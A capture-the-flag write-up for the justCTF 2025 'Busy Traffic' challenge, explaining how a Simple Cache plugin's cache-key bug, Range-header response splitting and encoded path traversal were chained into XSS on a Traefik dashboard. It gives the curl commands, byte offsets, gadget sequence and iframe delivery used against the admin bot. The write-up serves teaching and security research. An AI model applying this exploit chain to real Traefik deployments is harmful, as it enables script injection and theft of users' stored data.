Busy Traffic | writeup by @terjanq
justCTF 2025
The challenge consisted of three components: Traefik v3.4.5 proxy, a Simple Cache plugin for Traefik, and an admin bot that adds a flag to local storage on the challenge domain. The intended solution combined cache poisoning and request splitting to build an arbitrary XSS payload from the available assets.
The solution involved a series of steps:
- Find a bug in the Simple Cache library that ignores the
?in the cache key. - With this bug, recognize that
http://traefik/assets/dashboard/ABCandhttp://traefik/assets/dasboard?/ABChave the same cache key. - Use the bug to poison the cache by replacing assets with arbitrary files, such as
http://traefik/assets/api-DHmvWmr7.jswithhttp://traefik/assets/Default-qPSf0Yui.js. - Notice that responses from
Range: bytes=X-Yget cached, which enables response splitting. - Find an asset that injects
<script src=/something.js></script>into the page. - Realize that URL-encoded path traversal works, allowing
/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/something.jsto load/dashboard/something.js. - Sequentially inject multiple scripts to execute
setTimeout(name), which evaluates a string stored in the window's name. - Note that cache poisoning can be performed on
http://traefikby sending requests with theHost: traefikheader.
The key bug in Simple Cache is an incorrect joining of the cache key components. Since ? is stripped, a request to http://traefik/assets/x.js?query results in a database key of traefik/assets/x.jsquery. This fact is leveraged for resource swapping throughout the solution.
The challenge's core idea was to construct an arbitrary XSS from available assets using response splitting and cache poisoning. The gadget chain used was:
e=thist=e.namei=ts=2setTimeout(i,t,s)
Each gadget was obtained by making a curl request with a Range: bytes=X-Y header:
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/<some_asset>" -H "Range: bytes=X-Y"All scripts are loaded as modules, which complicates the use of e=this. To overcome this, a script that could be injected non-modularly was required.
It happens that /assets/Default-qPSf0Yui.js contains a snippet that creates a new script element pointing to /dashboard/traefiklabs-hub-button-app/main-v1.js. This file is large and contains all the necessary gadgets except for setTimeout. The snippet is shown as follows.
const o=document.createElement("script");o.async=!0,o.onload=()=>{this.hasHubButtonComponent=customElements.get("hub-button-app")!==void 0},o.src="traefiklabs-hub-button-app/main-v1.js",document.head.appendChild(o)To inject the script from Default-qPSf0Yui.js, the following command was used:
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"This caches a portion of the Default-qPSf0Yui.js response. Due to the Simple Cache bug, the cache key is traefik/dashboard/assets/Default-qPSf0Yui.js/../..//assets/api-DHmvWmr7.js.
When http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/ is visited, the relative module for api-DHmvWmr7.js is loaded as http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/api-DHmvWmr7.js. This matches the cached Default-qPSf0Yui.js, and the script to traefiklabs-hub-button-app/main-v1.js is injected.
The gadgets from traefiklabs-hub-button-app/main-v1.js are then cached. URL-encoded path segments are decoded, and the resource points to /dashboard/traefiklabs-hub-button-app/main-v1.js, allowing for another round of response splitting.
# i=t
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"Each file is cached for 20 seconds. To get multiple gadgets from /dashboard/traefiklabs-hub-button-app/main-v1.js, the application had to load multiple files sequentially, in 20+ second intervals.
This was achieved by observing how URL fragments change which modules are loaded. For example, http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a loads index-BH-fqmTU.js and api-DHmvWmr7.js, while #/udp/routers loads more modules. This behavior was chained four times to inject /dashboard/traefiklabs-hub-button-app/main-v1.js and poison a different gadget each time.
The exploit sequence was as follows:
| No | URL Fragment | Poisoned Asset | Gadget |
|---|---|---|---|
| 1. | #/udp/a |
api-DHmvWmr7.js |
e=this |
| 2. | #/udp/routers |
Routers-fM5flT_A.js |
t=e.name |
| 3. | #/http/routers |
Routers-0BHxg3Xd.js |
i=t |
| 4. | #/tcp/routers |
Routers-Cq0wFHi0.js |
s=2 |
| 5. | #/ |
Index-C0I-aNet.js |
setTimeout(i,t,s) |
The final step used Index-C0I-aNet.js directly for request splitting:
# Execute XSS at http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/
# setTimeout(i,t,s)
curl -H "Host: traefik" --path-as-is "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"The final step was to send the exploit to the admin. The page was frameable, so an iframe was created with the XSS payload in its name and pointed to the first URL fragment. The iframe was then redirected to execute the full chain.
<iframe src="http://traefik/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a" name="XSS">The attached files provide a more detailed look at the exploit.